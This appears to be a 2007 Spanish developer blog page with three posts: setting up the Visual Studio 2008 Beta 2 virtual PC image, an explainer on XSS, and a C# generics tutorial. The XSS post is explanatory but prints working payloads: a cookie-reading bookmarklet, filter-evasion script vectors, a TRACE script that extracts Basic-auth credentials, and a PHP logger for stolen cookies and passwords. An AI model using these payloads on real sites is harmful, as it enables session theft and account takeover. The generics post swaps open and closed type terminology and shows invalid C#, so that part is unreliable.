    Hace unas semanas fue liberado Visual Studio 2008 Beta 2,Aqui les dejo algunos link de los cuales pueden descargarlo y tener mas información,además hay una gran observación de Sergio Tarrillo(Del cual he obtenido este post).
    Orcas:

    O también pueden descargar las imágenes VPC, y tener todo el software con sólo levantar la VPC:

    Ahora ya estoy en condiciones de descargar una VPC y usarla , así que descargue: Microsoft Pre-release Software Visual Studio Team System 2008 Beta 2 Team Suite (Virtual PC). Esa virtualPC tiene todo instalado, ósea esta lista para usarla, y lo mejor que no hay riesgos de haber instalado en tu disco duro una versión beta. Sólo la descargas, levantas la VPC, y a probar Orcas Beta 2. Y como no siempre la teoría es igual a la práctica, y esta vez por error de usuario, por no leer los requerimientos , el problema que tenía es el siguiente “El disco duro virtual principal se eliminó o se movió de su ubicación anterior. Seleccione la nueva ubicación del disco duro virtual principal”:

    04_error_orcas.jpg

    Probé crear una nueva máquina virtual, y nada, seguía con el mismo problema, se me paso por la mente restaurar la imagen desde sus partes nuevamente, pero por suerte llegue a esta entrada: Missing Base VHD (Base01.VHD) from Orcas September CTP VPC… (Make sure you ALSO download the VSCTPBase.exe).

    Y queda claro no?, creo que en las instrucciones de instalación de la VPC deben poner en negrita o en rojo el ítem 2:

    1. Download and install Virtual PC 2007 (recommended), Virtual PC 2004 SP1, or Virtual Server 2005 R2 SP1.
    2. Download the Base image (one-time only): Save the self-extracting base image VSCTPBase.exe and extract to a folder on your computer.
    3. Click the Download button on this page to download all parts of the Visual Studio Code Name Orcas Beta 2. The first part is a self-extracting EXE and will prompt for the other parts.
    4. Click on OrcasBeta2_VSTS_7PartsTotal.part01.exe to extract two files (OrcasBeta2VSTS.vmc and OrcasBeta2VSTS.vhd) to the same folder as the base. You will need to read and accept the EULA before extraction proceeds.
    5. Launch the Virtual PC Console using Start|Programs|Microsoft Virtual PC.
    6. Click the New button to launch the “New Virtual Machine Wizard”.
    7. Navigate to the Options page and select “Add An existing Virtual Machine” radio button.
    8. Click the Browse button and navigate to the location you extracted the files to and select OrcasBeta2VSTS.vmc image.
    9. You will be prompted for the location of the base image and you should point to the Base01.vhd that you extracted earlier and click OK.
    10. Clear the “When I finish, open settings” checkbox and click OK.
    11. Select the new image entry, OrcasBeta2VSTS, and click Start.
    12. To logon to the machine, click on Action Menu (Shortcut: Right Alt+Del) on the VPC console and use the credentials above.

    Me llama la atención poder escoger el framework de desarrollo con Visual Studio 2008, por ejemplo, que vas a poder seguir desarrollando aplicaciones para el .NET Framework 2.0, usando Visual Studio 2008. Y es que la tendencia no debe ser que si sale un nuevo software de desarrollo, implementarlo en proyectos existentes por moda, ya que tienes que cambiar el entorno de desarrollo, o los usuarios objetivos; la premisa, creo yo, debe ser que ese nuevo software resuelva necesidades que tengas para ser más productivo, hombre, que si tu problema no es la herramienta, si no, la mala gestión y administración de los recursos de un proyecto de software, ni con la mejor herramienta podrás hacer un buen software o un buen producto.

    Esta nueva feature de Visual Studio 2008, de escoger la versión del framework, también te dará más flexibilidad para hacer una migración de una aplicación en desarrollo, sigues desarrollando utilizando el mismo framework, y sientes que la nueva IDE no basta para resolver tus problemas o no te ayudado a ser más productivo, puedes probar usando las nuevas features de .NET Framework 3.5. Mi objetivo, al descargar la VPC, será probar que tanto funciona esta característica, y si no da problemas al migrar el desarrollo de una aplicaicón web ASP.NET 2.0 + AJAX a Visual Studio 2008, pero seguir desplegando para .NET Framework 2.0. Cuando realice mis pruebas ya les estare contando, pero si no pueden esperar, pueden ir revisando las siguientes entradas:

    A seguir esperando la descarga del archivo VSCTPBase.exe.


    ¿Qué es XSS?

    julio 26, 2007

    Navegando encontre una nueva palabra “XSS” que al principio no tenía ni idea de lo que significaba, pero leyendo algunos artículos sobre el tema, me di cuenta que es muy importante que todos los desarrolladores Web sepamos de que se trata, por eso les dejo este artículo extraido de la WIKIPEDIA.
    Introduccion
    XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

    • Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
    • Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

    Indirecta
    Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
    javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’)[g].split(‘=’)[1]));alert
    (“Cookies:\n”+document.cookie.replace(/;/,”\r\n”));

    Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

    ¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
    Usando FrameSets
    Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
    javascript:while(1)alert(“Te estoy inundando de mensajes!”);
    Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

    Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

    El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

    Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

    Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

    Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

    Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
    Mensaje personalizado
    La técnica sólo funciona con imágenes:
    error.php?error=Usuario%20Invalido
    Esa página es vulnerable a XSS indirecto.

    Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

    Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
    <script>
    document.documentElement.innerHTML=”NADA”;
    </script>
    Directa
    Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
    Ejemplos de Scripts donde no son comunes de encontrar
    <BR SIZE=”&{alert(‘XSS’)}”>
    <FK STYLE=”behavior: url(http://yoursite/xss.htc);”>
    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert(‘Hola’):
    <div fu=”alert(‘Hola’);” STYLE=”background-image: url(javascript:eval(this.fu))”>
    Ajax
    Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

    El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
    Script para obtener credenciales en tipo BASIC
    Esta tecnica también es llamada XST Cross Site Tracing XST
    var xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

    // para firefox, es: var xmlhttp = new XMLHttpRequest();

    xmlhttp.open(“TRACE”,”./”,false);

    xmlhttp.send(null);

    str1=xmlhttp.responseText;

    splitString = str1.split(“Authorization: Basic “);

    str2=splitString[1];

    str3=str2.match(/.*/)[0];

    alert(str3);
    Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
    log.php para registrar cookies
    <?php

    $archivo = fopen(‘log2.htm’,’a’);

    $cookie = $_GET['c'];

    $usuario = $_GET['id'];

    $ip = getenv (‘REMOTE_ADDR’);

    $re = $HTTPREFERRER;

    $fecha=date(“j F, Y, g:i a”);

    fwrite($archivo, ‘<hr>USUARIO Y PASSWORD: ‘.htmlentities(base64_decode($usuario)));
    fwrite($archivo, ‘<br>Cookie: ‘.htmlentities($cookie).'<br>Pagina: ‘.htmlentities($re));
    fwrite($archivo, ‘<br> IP: ‘ .$ip. ‘<br> Fecha y Hora: ‘ .$fecha. ‘</hr>’);

    fclose($archivo);

    ?>


    ¿Que son los Genericos o Generic?

    julio 18, 2007

    La version de C# 2.0 permite especificar los tipos utilizados en las definiciones de otros tipos de datos y de métodos de forma parametrizada, de manera que en vez de indicarse exactamente cuáles son se coloque en su lugar un párametro -parámetro tipo- que se concretrará en el momento en que se vaya a usar (al crear un objeto de la clase, llamar al método,…). A esta definicion se les llama genéricos o geniric(en inglés), y un ejemplo de una de ellas es la siguiente:

    public class A <T>

    {

    T valor;

    public void EstablecerValor(T valor)

    {

    this.valor = valor

    }

    }

    En esta clase no se han concretado ni el tipo del campo privado valor ni el del único parámetro del método EstablecerValor(). En su lugar se le ha especificado un parámetro tipo T que se concretará al utilizar la clase. Por ejemplo, al crear un objeto suyo.

    A<int> obj = new A<int> ();

    Esto crearía un objeto de la clase genérica A con el parámetro tipo T concretizando con el argumento tipo int. La primera vez que el CLR encuentre esta concretización de T a int realizará un proceso de expansión o instrucción del genéro consistente en generar una nueva clase con el resultado de sustituir en la definicion génerica toda aparición de los parámetros tipos por los argumentos tipo. Para el ejemplo anterior esta clase sería:

    public class A <int>

    {

    int valor;

    public void EstablecerValor(int valor)

    {

    this.valor = valor;

    }

    }

    A los tipos con parámetros tipo, como A<T>, se les llama tipos genéricos cerrados; a los generados al concentrárseles algún parámetro tipo se le llama tipos construidos; y a los generados al concentrárseles todos tipos génericos abiertos. La relación establecida entre ellos es similar a la establecida entre las clases normales y los objetos: al igual que las clases sirven de plantillas en base a las que creamos objetos, los tipos genéricos cerrados actúan como plantillas en base a las que creamos tipos genéricos abiertos. En C++ se llamaba plantillas a las construcciones equivalentes a los genéricos.

    La expansión la hace el CLR en tiempo de ejecución, a diferencia de lo que sucede en otros entornos (pc, C++) en los que se realiza al compilar. Por lo que con esto tenemos unas ventajillas :

    Ensamblados más pequeños. Como sólo almacenan el tipo genérico cerrado, que el CLR ya expandirá en tiempo de ejecución, su tamaño es más pequeño y se evita el problema del excesivo inflado del código binario generado. para evitar ese inflado de la memoria consumida el CLR reutiliza gran parte del MSIL generado para la primera expansión de un genérico por un tipo referencia (recuerda una referencia al fin y al cabo punteros en memoria se representan igual).

    Quede claro su principal utilidad es, como su propio nombre indica, facilitar la creacion de código genérico que pueda trabajar con datos de cualquier tipo. Esto es especificamente útil para crear tipos que actúen como colecciones (pilas, colas, listas, entre otros), cosa que C# 1.0 o 1.1 sólo permitía crear definiéndolos en base a la clase base común object.

    Ejemplo:

    using System;
    using System.Collections.Generic;

    namespace colecciones

    {

    class Program

    {

    static void Main(string[] args)

    {

    Queue <int> cola = new Queue <int>();

    int opc;

    do

    {

    Console.Clear();

    Console.WriteLine(“1.- Insertar”);

    Console.WriteLine(“2.- Eliminar “);

    Console.WriteLine(“3.- Mostrar”);

    Console.WriteLine(“4.- Salir”);

    opc = int.Parse(Console.ReadLine());

    switch (opc)

    {

    case 1:

    Insertar(cola);
    break;

    case 2:
    Eliminar(cola);
    break;

    case 3:
    Mostrar(cola);
    break;

    }

    } while (opc != 4);

    Console.ReadLine();

    }

    private static void Eliminar(Queue <int> cola)
    {

    cola.Dequeue();

    }

    private static void Mostrar(Queue <int> cola)
    {

    Console.Clear();

    foreach (int numero in cola)

    {
    Console.WriteLine(numero);
    }

    Console.ReadLine();

    }

    private static void Insertar(Queue <int> cola)
    {

    Console.WriteLine(“dame dato”);
    int dato = int.Parse(Console.ReadLine());
    cola.Enqueue(dato);
    }

    }

    }


    Seguir

    Recibe cada nueva publicación en tu buzón de correo electrónico.

    Únete a otros 48 seguidores